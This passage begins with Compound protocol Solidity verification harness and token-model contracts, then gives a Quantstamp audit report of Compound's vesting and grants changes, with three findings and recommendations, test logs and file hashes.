returns (uint) { return otherToken.balanceOf(account); } function borrowBalanceStoredInOther(address account) public view returns (uint) { return otherToken.borrowBalanceStored(account); } function exchangeRateStoredInOther() public view returns (uint) { return otherToken.exchangeRateStored(); } function getCashInOther() public view returns (uint) { return otherToken.getCash(); } function getCashOf(address account) public view returns (uint) { return EIP20Interface(underlying).balanceOf(account); } function getCashOfInOther(address account) public view returns (uint) { return otherToken.getCashOf(account); } function totalSupplyInOther() public view returns (uint) { return otherToken.totalSupply(); } function totalBorrowsInOther() public view returns (uint) { return otherToken.totalBorrows(); } function totalReservesInOther() public view returns (uint) { return otherToken.totalReserves(); } function underlyingInOther() public view returns (address) { return otherToken.underlying(); } function mintFreshPub(address minter, uint mintAmount) public returns (uint) { (uint error,) = mintFresh(minter, mintAmount); return error; } function redeemFreshPub(address payable redeemer, uint redeemTokens, uint redeemUnderlying) public returns (uint) { return redeemFresh(redeemer, redeemTokens, redeemUnderlying); } function borrowFreshPub(address payable borrower, uint borrowAmount) public returns (uint) { return borrowFresh(borrower, borrowAmount); } function repayBorrowFreshPub(address payer, address borrower, uint repayAmount) public returns (uint) { (uint error,) = repayBorrowFresh(payer, borrower, repayAmount); return error; } function liquidateBorrowFreshPub(address liquidator, address borrower, uint repayAmount) public returns (uint) { (uint error,) = liquidateBorrowFresh(liquidator, borrower, repayAmount, otherToken); return error; } } pragma solidity ^0.5.16; import "../../../contracts/EIP20NonStandardInterface.sol"; import "./SimulationInterface.sol"; contract UnderlyingModelWithFee is EIP20NonStandardInterface, SimulationInterface { uint256 _totalSupply; uint256 fee; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address owner) external view returns (uint256 balance) { balance = balances[owner]; } function transfer(address dst, uint256 amount) external { address src = msg.sender; uint256 actualAmount = amount + fee; require(actualAmount >= amount); require(balances[src] >= actualAmount); require(balances[dst] + actualAmount >= balances[dst]); balances[src] -= actualAmount; balances[dst] += actualAmount; } function transferFrom(address src, address dst, uint256 amount) external { uint256 actualAmount = amount + fee; require(actualAmount > fee) require(allowances[src][msg.sender] >= actualAmount); require(balances[src] >= actualAmount); require(balances[dst] + actualAmount >= balances[dst]); allowances[src][msg.sender] -= actualAmount; balances[src] -= actualAmount; balances[dst] += actualAmount; } function approve(address spender, uint256 amount) external returns (bool success) { allowances[msg.sender][spender] = amount; } function allowance(address owner, address spender) external view returns (uint256 remaining) { remaining = allowances[owner][spender]; } function dummy() external { return; } }pragma solidity ^0.5.16; import "../../../contracts/EIP20NonStandardInterface.sol"; import "./SimulationInterface.sol"; contract UnderlyingModelNonStandard is EIP20NonStandardInterface, SimulationInterface { uint256 _totalSupply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address owner) external view returns (uint256 balance) { balance = balances[owner]; } function transfer(address dst, uint256 amount) external { address src = msg.sender; require(balances[src] >= amount); require(balances[dst] + amount >= balances[dst]); balances[src] -= amount; balances[dst] += amount; } function transferFrom(address src, address dst, uint256 amount) external { require(allowances[src][msg.sender] >= amount); require(balances[src] >= amount); require(balances[dst] + amount >= balances[dst]); allowances[src][msg.sender] -= amount; balances[src] -= amount; balances[dst] += amount; } function approve(address spender, uint256 amount) external returns (bool success) { allowances[msg.sender][spender] = amount; } function allowance(address owner, address spender) external view returns (uint256 remaining) { remaining = allowances[owner][spender]; } function dummy() external { return; } }pragma solidity ^0.5.16; contract MathCertora { } pragma solidity ^0.5.16; interface SimulationInterface { function dummy() external; } pragma solidity ^0.5.16; import "../../../contracts/Maximillion.sol"; contract MaximillionCertora is Maximillion { constructor(CEther cEther_) public Maximillion(cEther_) {} function borrowBalance(address account) external returns (uint) { return cEther.borrowBalanceCurrent(account); } function etherBalance(address account) external returns (uint) { return account.balance; } function repayBehalf(address borrower) public payable { return super.repayBehalf(borrower); } }
December 4th 2020— Quantstamp Verified Compound Vesting and Grants This security assessment was prepared by Quantstamp, the leader in blockchain security Executive Summary Type Decentralized lending protocol Auditors Fayçal Lalidji , Security AuditorKacper Bąk , Senior Research EngineerJake Goh Si Yuan , Senior Security ResearcherTimeline 2020-11-09 through 2020-11-16 EVM Muir Glacier Languages Solidity Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification None Documentation Quality High Test Quality High Source Code Repository Commit compound-protocol ccc7d51 compound-protocol f9544aa Total Issues 3 (2 Resolved)High Risk Issues 0 (0 Resolved)Medium Risk Issues 1 (1 Resolved)Low Risk Issues 1 (1 Resolved)Informational Risk Issues 1 (0 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged The issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Mitigated Implemented actions to minimize the impact or likelihood of the risk. Summary of FindingsThrough reviewing the code, we found of various levels of severity. As of commit f9544aa all low/medium severity issues have been addressed as recommended. Code coverage could not be generated due to multiple failing tests that must be updated before merging the audited pull request. 3 potential issuesID Description Severity Status QSP- 1 Update compSpeeds Medium Fixed QSP- 2 Insufficient Balance _grantComp Low Fixed QSP- 3 Unlocked Pragma Informational Acknowledged Quantstamp Audit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Possible issues we looked for included (but are not limited to): Transaction-ordering dependence •Timestamp dependence •Mishandled exceptions and call stack limits •Unsafe external calls •Integer overflow / underflow •Number rounding errors •Reentrancy and cross-function vulnerabilities •Denial of service / logical oversights •Access control •Centralization of power •Business logic contradicting the specification •Code clones, functionality duplication •Gas usage •Arbitrary token minting •Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: v0.6.14 • SlitherSteps taken to run the tools: 1. Installed the Slither tool:pip install slither-analyzer 2. Run Slither from the project directory:slither ./contracts/Comptroller.sol Findings QSP-1 Update compSpeeds Severity: Medium Risk Fixed Status: File(s) affected: Comptroller.sol The implemented internal methoddoes not update the related market staking indexes. Changing the value of "Comp token distribution speed" for a specific market without updating its supply and borrow indexes will lead the users to either gain more or less Comp reward. Description:Comptroller.setCompSpeedInternal cToken , and should be called before updating value for any given market. Recommendation:Comptroller.updateLastVestingBlockInternal Comptroller.updateCompSupplyIndex Comptroller.updateCompBorrowIndex compSpeeds QSP-2 Insufficient Balance _grantComp Severity: Low Risk Fixed Status: File(s) affected: Comptroller.sol The method only succeeds when the amount requested is less than or equal to the remaining Comp balance, as implemented in . However, when the amount is more than that, the method fails silently without emitting an event or throwing. As consequence, this issue could lead a governance proposal to pass without throwing. Description:Comptroller._grantComp Comptroller Comptroller.grantCompInternal Check the returned value of and throw the transaction if it is different than zero. Recommendation: Comptroller.grantCompInternal QSP-3 Unlocked Pragma Severity: Informational Acknowledged Status: , , , File(s) affected: Comptroller.sol ComptrollerStorage.sol Exponential.sol ComptrollerStorage.sol Every Solidity file specifies in the header a version number of the format . The caret ( ) before the version number implies an unlocked pragma, meaning that the compiler will use the specified version , hence the term "unlocked". Description:pragma solidity (^)0.*.* ^ and above For consistency and to prevent unexpected behavior in the future, it is recommended to remove the caret to lock the file onto a specific Solidity version. Recommendation: Automated Analyses Slither Slither raised multiple high and medium issues. However, all issues were classified as false positives. Code Documentation Outdated NatSpec: Documentation in is missing description for . • Comptroller.sol.updateCompMarketIndex @param marketBorrowIndex Documentation in is missing description for . • Comptroller.sol.distributeBorrowerComp @param marketBorrowIndex Documentation in is missing description for , , , , and . •Comptroller.sol.distributeMarketComp @param marketBorrowIndex distribute marketState vestingState isSupply marketBorrowIndex Test Results Test Suite Results Using network test Web3ProviderEngine Setup in 358 ms PASS tests/Governance/CompTest.js (16.974s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 108 ms PASS tests/TimelockTest.js (28.058s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 143 ms PASS tests/SpinaramaTest.js (47.41s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 154 ms PASS tests/Lens/CompoundLensTest.js (95.767s) Teardown in 1 ms Using network test Web3ProviderEngine Setup in 160 ms PASS tests/Governance/GovernorAlpha/CastVoteTest.js (8.809s) Teardown in 1 ms Using network test Web3ProviderEngine Setup in 119 ms PASS tests/Tokens/borrowAndRepayCEtherTest.js (116.52s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 192 ms PASS tests/Comptroller/comptrollerTest.js (103.418s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 191 ms PASS tests/Governance/GovernorAlpha/ProposeTest.js (6.978s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 79 ms PASS tests/Tokens/reservesTest.js (114.255s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 194 ms PASS tests/Models/InterestRateModelTest.js (23.417s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 168 ms PASS tests/Tokens/cTokenTest.js (159.463s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 166 ms PASS tests/Comptroller/proxiedComptrollerV1Test.js (117.732s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 165 ms PASS tests/Governance/GovernorAlpha/StateTest.js (11.599s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 180 ms PASS tests/Tokens/mintAndRedeemTest.js (177.983s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 119 ms PASS tests/Tokens/liquidateTest.js (184.155s)Teardown in 0 ms Using network test Web3ProviderEngine Setup in 114 ms PASS tests/Models/DAIInterestRateModelTest.js (186.017s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 124 ms PASS tests/Comptroller/accountLiquidityTest.js (50.382s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 125 ms PASS tests/Comptroller/unitrollerTest.js (34.876s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 138 ms PASS tests/Tokens/accrueInterestTest.js (43.803s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 124 ms PASS tests/Comptroller/adminTest.js (8.596s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 111 ms PASS tests/Comptroller/pauseGuardianTest.js (101.166s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 131 ms PASS tests/Tokens/mintAndRedeemCEtherTest.js (28.829s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 208 ms PASS tests/Governance/GovernorAlpha/QueueTest.js (9.75s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 110 ms PASS tests/Tokens/borrowAndRepayTest.js (214.15s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 156 ms Teardown in 0 ms Using network test Web3ProviderEngine Setup in 105 ms PASS tests/CompilerTest.js Teardown in 0 ms Using network test Web3ProviderEngine Setup in 112 ms PASS tests/Tokens/safeTokenTest.js (14.799s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 162 ms PASS tests/MaximillionTest.js (24.482s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 140 ms PASS tests/Tokens/transferTest.js (26.476s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 112 ms PASS tests/Tokens/compLikeTest.js (13.785s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 107 ms PASS tests/Governance/CompScenarioTest.js (19.369s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 94 ms PASS tests/Tokens/setInterestRateModelTest.js (62.269s) PASS tests/Tokens/setComptrollerTest.js (39.479s) Teardown in 0 ms Teardown in 0 ms Using network test Web3ProviderEngine Setup in 149 ms Using network test Web3ProviderEngine Setup in 136 ms PASS tests/Tokens/adminTest.js (63.561s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 146 ms PASS tests/Comptroller/liquidateCalculateAmountSeizeTest.js (99.788s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 129 ms PASS tests/Scenarios/Governor/UpgradeScenTest.js (94.775s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 181 ms PASS tests/Scenarios/Flywheel/ReservoirScenTest.js (118.712s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 194 ms PASS tests/Scenarios/Governor/GuardianScenTest.js (114.334s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 102 ms PASS tests/Scenarios/HypotheticalAccountLiquidityScenTest.js (136.866s) Teardown in 1 ms Using network test Web3ProviderEngine Setup in 181 ms PASS tests/Scenarios/Governor/ExecuteScenTest.js (182.223s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 119 ms PASS tests/PriceOracleProxyTest.js (278.848s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 154 ms PASS tests/Scenarios/Governor/DefeatScenTest.js (122.465s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 170 ms PASS tests/Comptroller/assetsListTest.js (382.911s) Teardown in 1 ms Using network test Web3ProviderEngine Setup in 158 ms PASS tests/Scenarios/Governor/ProposeScenTest.js (224.643s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 146 ms Using network test Web3ProviderEngine Setup in 331 ms Using network test Web3ProviderEngine Setup in 417 ms PASS tests/Scenarios/Governor/VoteScenTest.js (154.162s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 93 ms PASS tests/Scenarios/Governor/QueueScenTest.js (232.085s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 185 ms PASS tests/Scenarios/Flywheel/VestingScenTest.js (352.918s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 160 ms PASS tests/Scenarios/ChangeDelegateScenTest.js (46.414s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 172 ms PASS tests/Scenarios/RedeemUnderlyingEthScenTest.js (394.625s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 122 ms Using network test Web3ProviderEngine Setup in 411 ms PASS tests/Scenarios/Governor/CancelScenTest.js (209.327s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 124 ms Using network test Web3ProviderEngine Setup in 332 ms PASS tests/Scenarios/RedeemUnderlyingWBTCScenTest.js (571.648s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 106 ms Using network test Web3ProviderEngine Setup in 453 ms PASS tests/Scenarios/PriceOracleProxyScenTest.js (248.003s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 134 msPASS tests/Scenarios/BreakLiquidateScenTest.js (138.741s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 146 ms Using network test Web3ProviderEngine Setup in 384 ms Using network test Web3ProviderEngine Setup in 361 ms PASS tests/Scenarios/Flywheel/FlywheelScenTest.js (734.852s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 169 ms PASS tests/Scenarios/SetComptrollerScenTest.js (116.034s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 186 ms Using network test Web3ProviderEngine Setup in 346 ms PASS tests/Flywheel/FlywheelTest.js (1121.059s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 125 ms PASS tests/Scenarios/ReduceReservesScenTest.js (367.075s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 133 ms PASS tests/Scenarios/ExchangeRateScenTest.js (189.752s) Teardown in 1 ms Using network test Web3ProviderEngine Setup in 166 ms Using network test Web3ProviderEngine Setup in 366 ms PASS tests/Scenarios/RedeemUnderlyingScenTest.js (552.228s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 204 ms PASS tests/Scenarios/InKindLiquidationScenTest.js (771.705s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 234 ms PASS tests/Scenarios/BorrowBalanceScenTest.js (299.112s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 148 ms Using network test Web3ProviderEngine Setup in 366 ms PASS tests/Scenarios/RepayBorrowWBTCScenTest.js (623.278s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 206 ms PASS tests/Scenarios/CTokenAdminScenTest.js (183.028s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 171 ms Using network test Web3ProviderEngine Setup in 337 ms Using network test Web3ProviderEngine Setup in 373 ms PASS tests/Scenarios/TokenTransferScenTest.js (337.505s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 110 ms Using network test Web3ProviderEngine Setup in 568 ms PASS tests/Scenarios/UnitrollerScenTest.js (188.948s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 121 ms PASS tests/Scenarios/EnterExitMarketsScenTest.js (525.679s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 194 ms Using network test Web3ProviderEngine Setup in 352 ms PASS tests/Scenarios/BorrowWBTCScenTest.js (236.179s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 164 ms Using network test Web3ProviderEngine Setup in 384 ms PASS tests/Scenarios/ReEntryScenTest.js (52.361s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 135 ms PASS tests/Scenarios/BorrowEthScenTest.js (187.645s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 141 ms PASS tests/Scenarios/TetherScenTest.js (10.724s) Teardown in 1 ms Using network test Web3ProviderEngine Setup in 106 ms PASS tests/Scenarios/Comp/CompScenTest.js (400.99s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 133 ms PASS tests/Scenarios/RepayBorrowEthScenTest.js (771.232s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 153 ms Using network test Web3ProviderEngine Setup in 516 ms PASS tests/Scenarios/RedeemEthScenTest.js (255.623s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 206 ms PASS tests/Scenarios/MCDaiScenTest.js (10.083s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 112 ms Using network test Web3ProviderEngine Setup in 456 ms PASS tests/Scenarios/AddReservesScenTest.js (389.071s) Teardown in 0 ms Using network test Web3ProviderEngine Setup in 131 ms Using network test Web3ProviderEngine Setup in 351 ms PASS tests/Scenarios/MintWBTCScenTest.js (342.844s) Teardown in 1 ms PASS tests/Scenarios/MintEthScenTest.js (268.666s) Teardown in 0 ms PASS tests/Scenarios/TimelockScenTest.js (432.375s) Teardown in 0 ms PASS tests/Scenarios/BorrowCapScenTest.js (545.063s) Teardown in 0 ms PASS tests/Scenarios/SeizeScenTest.js (198.548s) Teardown in 1 ms PASS tests/Scenarios/BorrowScenTest.js (351.085s) Teardown in 0 ms PASS tests/Scenarios/FeeScenTest.js (252.994s) Teardown in 0 ms PASS tests/Scenarios/RepayBorrowScenTest.js (510.733s) Teardown in 0 ms PASS tests/Scenarios/MintScenTest.js (273.181s) Teardown in 0 ms PASS tests/Scenarios/RedeemWBTCScenTest.js (527.17s) Teardown in 0 ms PASS tests/Scenarios/RedeemScenTest.js (481.397s) Test Suites: 2 skipped, 85 passed, 85 of 87 total Tests: 38 skipped, 15 todo, 993 passed, 1046 total Snapshots: 0 total Time: 2113.138s Ran all test suites matching /test/i. Teardown in 0 ms Done in 2147.65s. Code CoverageMultiple code coverage tests failed to execute. Therefore, we couldn't generate the coverage statistics. Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts b298fa21af3425f93c8de0220417ad1827f4efe503568c2e6344792c3595c665 ./Exponential.sol 9efca9ff7861f0351ea8fbb393008792a9eb2cca55d51ee0f7a19b4e6b9e4317 ./ComptrollerStorage.sol 163a0ff8024223bbfb374d604440946e58b4aa3bf9d3b7cac0729560c9304f6d ./Comptroller.sol 70a99e54d6463f9626b2d492d26009a59d3dacd4e1e4abb69a2c0877ee1fdd64 ./ComptrollerG5.sol Tests 19dda8605a559d42ee39f9157edf3692c7e69a3cc865c322718f5d38e78a847c ./tests/PriceOracleProxyTest.js e854495d3f31067771e20c34a2a8c71e4838c420ce4c2f3a982c9d93a1d27f64 ./tests/gasProfiler.js 5c384dd1c5e1a1e2fb890e0bdcfa788b19149b7597b36c57d50343e255d55d9e ./tests/TimelockTest.js 851d08dc2b791e186d8edd9122acd20b3966ee85d71905e6e69df35b6cdc9178 ./tests/Scenario.js ef6b1a22aca7c79d9bbe28e11a488d90712d8f570acddd90faaaa760c4f34b16 ./tests/Errors.js 5358fa45a77b2597d46448b7aecc96de55894ba08c6602ced648bf7a0b7c1fd5 ./tests/Jest.js cb9ee641b3aa7df9e7f188c17b71b0b97f387c166915408bf09b4d0ff932c62a ./tests/CompilerTest.js 3469ecc216e78aec26e05a002fa2dcbcd9608853bb70de1b6724e38425259b37 ./tests/MaximillionTest.js b0fc7e7382f6bf19bb037855883f5a4fc1606630a61adb59c2dc1ea8bb2d8574 ./tests/Matchers.js 1ce576360cbea8a1b3c09de8d196773ab156645854ac8f1796d4bc67d6e7dca2 ./tests/SpinaramaTest.js da16cc0d260427b1be2cabc2224c0efaa6bf2a2c93abb0571974c9a56b911ee9 ./tests/Lens/CompoundLensTest.js 2f4dbcc4fe47083cff4db7c60220550b063b258346e77075a26fea1435bbd3bc ./tests/Contracts/MockMCD.sol b2ecb6ed9cb46b1813e86b45bfda3b15a715fa4c05ae9db7df38d83a777b8126 ./tests/Contracts/FalseMarker.sol cf43a610e04d279dfffad601eeb48b4006d545410e20f08be012654142797f00 ./tests/Contracts/TetherInterface.sol 176d795f35868f6c3df6800a6ebfa3589e03a7fa577efc11d123bdb5ca58fab7 ./tests/Contracts/FeeToken.sol d70e8368d1ee9af48f277d9efd58e6a764c5c9f1819a5ba5f29e1099c2941f8d ./tests/Contracts/CErc20Harness.sol b6628647f7f2da44c6ebf4f22783185a90a37ce39d18fceb35f3794494f4cb44 ./tests/Contracts/PriceOracleProxy.sol 349649b88d6e9f805a384a8d045a269a582d5cce165b67c6b6faff159cbb91a1 ./tests/Contracts/ComptrollerScenarioG1.sol 0d7fd9df64cf72889d6ac97afd3258167116518748488e997505f27cc16b4fe6 ./tests/Contracts/MathHelpers.sol 87bc237c9d1beee713e20b0b8fce333a4b52029849f555761cec6d50fe6b86bf ./tests/Contracts/TimelockHarness.sol 167d04d4dda1e53afe3120b21f732de6bb2c1d977ac46e3d0a6fe205033048e3 ./tests/Contracts/Fauceteer.sol 7e10baf5e8ab1793e452a9d28a3052534b47972c1c31a33939e36aa84301ea7d ./tests/Contracts/EvilToken.sol 34eaaa9e85252b43034072160b7cc4452a08ca3b4a9c3bd28cda689be83bff0b ./tests/Contracts/ERC20.sol dfe52a0a041631f00e3851a90307683cf50a93e6a97e9e9d8eef1ef0dd741264 ./tests/Contracts/FixedPriceOracle.sol 9e86b10a2659f302d1643e1cd2c492c698b33e97e166e0ce647da492da5b614d ./tests/Contracts/Counter.sol fffc8aa485138515368781e1053719c0117a06058fef08ba5e0874c5aa1482f3 ./tests/Contracts/ComptrollerScenarioG4.sol 3cf7df3c6a30319867cb011ec3373f54232ffc3b42a74f791d098f164df0d2ce ./tests/Contracts/ComptrollerScenarioG2.sol 836d838a1db13333de3438063d25a47507f4680cfa104acb1b18daddc4886630 ./tests/Contracts/ComptrollerHarness.sol 3cc11b832ed5b3e5c18e01b21fb86fa0f37badd626364933b62640c3aff7a685 ./tests/Contracts/WBTC.sol c782e7940244f7e106fb29543158703c2f544856602769f16da24a2da12320d6 ./tests/Contracts/ComptrollerScenarioG3.sol 5dabf4413d579426e299886b7124e6bf5c415a1fd8fc6d3322c8af0c3d49a532 ./tests/Contracts/CompHarness.sol 4e85b16aaa42a85cfeff0894ed7b00ead01cfdc5d42dde1a9251f638208e9234 ./tests/Contracts/GovernorAlphaHarness.sol 297d6be038dccf0d50dc4883c9c330c27380fdc02efc0155e684bf798bbec30c ./tests/Contracts/CEtherHarness.sol 5288acf7cb76e1b86658fa7b7812b118fb405700543fd43d31d0431029b7e688 ./tests/Contracts/FaucetToken.sol a3c8ad4dbbb5bd58806b0e1285fe8c9319d9c8fb4dfaed3d862a35647b1cc159 ./tests/Contracts/InterestRateModelHarness.sol bf84c0e16a80947ad63f6dfa9e973f9b47437c1758450d45570a14af4c2b085c ./tests/Contracts/Const.sol 10144c7d50d2679e2f4ea63df2ed58ec14f22e8e09d77d15473a55f8e3f58d5e ./tests/Contracts/Structs.sol 1478422bbeb039fb7b82f12b3724c30d98bc6c270fcfc8b29ce11f80dce4cfe4 ./tests/Contracts/ComptrollerScenario.sol eeda18f052fb5cf750b817b8e613a90a2802db6eeda2745d288cfea0fd603ffd ./tests/Contracts/ComptrollerScenarioG5.sol 09d569c78402ac3747023f0b8b726e75afa4cf2fa0598f0baaf4966991882da2 ./tests/Utils/Compound.js 760666fd6801178144a7e2e5ee4fcdf761e63ab1d4dad5d3f483f3eea004ba94 ./tests/Utils/InfuraProxy.js f8926c5c008667fd0cb74a229c7ae10ec9400da914a12c9a1fd4fffa68fa09e0 ./tests/Utils/Ethereum.js 17f1dae75f61ebf222ffab3ff97df7a0a42740dd7513e75dd8cb41cdb561c001 ./tests/Utils/JS.js 27fe3919f7c3bc28e1822aa1f0ccdf750285abf813d1dee490c35137047ffdaa ./tests/Utils/EIP712.js c0ef9125ef417a1216d648e9ae546f412c980ac1ef1de7d2c164b5a2aaa40eb9 ./tests/Governance/CompTest.js 2a481672769902fc25ebc4d58c9d58917155f4e92ff56543280f8114884fb7b9 ./tests/Governance/CompScenarioTest.js 1afc663d267e18b7ce28acde1dffc6ef0e28b7c37bd001db36b295640d050779 ./tests/Governance/GovernorAlpha/StateTest.js 5f5972390f0f1666982ff55ff56799b52748e0e1132805a2f37a904396b27fe3./tests/Governance/GovernorAlpha/QueueTest.js 45f10e9446c8d68eead1fc509a220fa0dc854f0d4d24d2fef972bbebe74a64f2 ./tests/Governance/GovernorAlpha/ProposeTest.js 10bd124f58ad69ba89f228fa77306e2df3f9435717d0d112ff120e10bb9b38a7 ./tests/Governance/GovernorAlpha/CastVoteTest.js 8e8b23d890c2c95bbc6adec14363a19f9d82dd3fa989a8ce3641e90b5fcb4b62 ./tests/Scenarios/RepayBorrowScenTest.js 9ba1859b1e2341272c60a134855b585b9044d3b98d60e4cbbad571fe7423effc ./tests/Scenarios/CTokenAdminScenTest.js 506be5485394cb2c9bbc6f6bb6cc45b234a6c352172577706b27d1a7de4f4c9f ./tests/Scenarios/RedeemUnderlyingScenTest.js ecfbedea3ca6e97266b4e76555ec6f7705628055998a3bc7f7051039292a067a ./tests/Scenarios/RedeemUnderlyingWBTCScenTest.js 7e6e76b14ed1fcf84ea6ac065be86fe0392cd2ac56851b5dc13ba9d7e6a37334 ./tests/Scenarios/BorrowScenTest.js e3523f04ddfd19a14a44f74f32dd77305e06414af2e0ba1749b00c258b00ea87 ./tests/Scenarios/ExchangeRateScenTest.js 4c716c17c8d6d607621dd117900898731e9380df408ec22a1c141bcd7ec4965e ./tests/Scenarios/FeeScenTest.js 48966575141a703b0b5ffae7883627768eb63fbf15deedff9446fb3be607b0ee ./tests/Scenarios/RepayBorrowWBTCScenTest.js 16b28c43b7e03d0940111656945db3b1053c2753a623333ebfd85e81dfba4b1c ./tests/Scenarios/HypotheticalAccountLiquidityScenTest.js 2de2738aa61707ba2d2191babe2f55d1351fa140fdeb6af82074569df30d6f2e ./tests/Scenarios/SetComptrollerScenTest.js b37e241c41fe97f45361a7d135afb2c699fccb565ecd2abf9d32ef57b50c0562 ./tests/Scenarios/BreakLiquidateScenTest.js be689993bebc216c4cac9781ae286bf810aa34c793d8d743c53945c787d3ebd9 ./tests/Scenarios/EnterExitMarketsScenTest.js e08db9fbdfd99a4b7704073b2cc64dcc7a18371ff0ec37723decdc7df5cefd90 ./tests/Scenarios/RedeemUnderlyingEthScenTest.js a05ea0319b7966741c6a4944680ff5b7586132c5bca1b649685a9d1f0a97dcf9 ./tests/Scenarios/RepayBorrowEthScenTest.js fbebcc9776712f53927fda86b2f86093e6b749f4602e31630dfb04462d30cd3c ./tests/Scenarios/BorrowEthScenTest.js b3e59040b0087633e9f66dc4259d1d4fd5a04e4cfb76bb877713f8c830e9c690 ./tests/Scenarios/MintEthScenTest.js 9462f13e5d02224092386a00d92d261bb805079c1131fe2d1ca159d87a03d30a ./tests/Scenarios/BorrowBalanceScenTest.js e37a817659914f87330a3347a534a4b42aa98ee8307f8f4e4ead02f3f4c0c639 ./tests/Scenarios/RedeemScenTest.js 3f8068cd66e6d3dd9e483cabc896690dacc3050446d97c85bcba37ad4524d9a5 ./tests/Scenarios/AddReservesScenTest.js 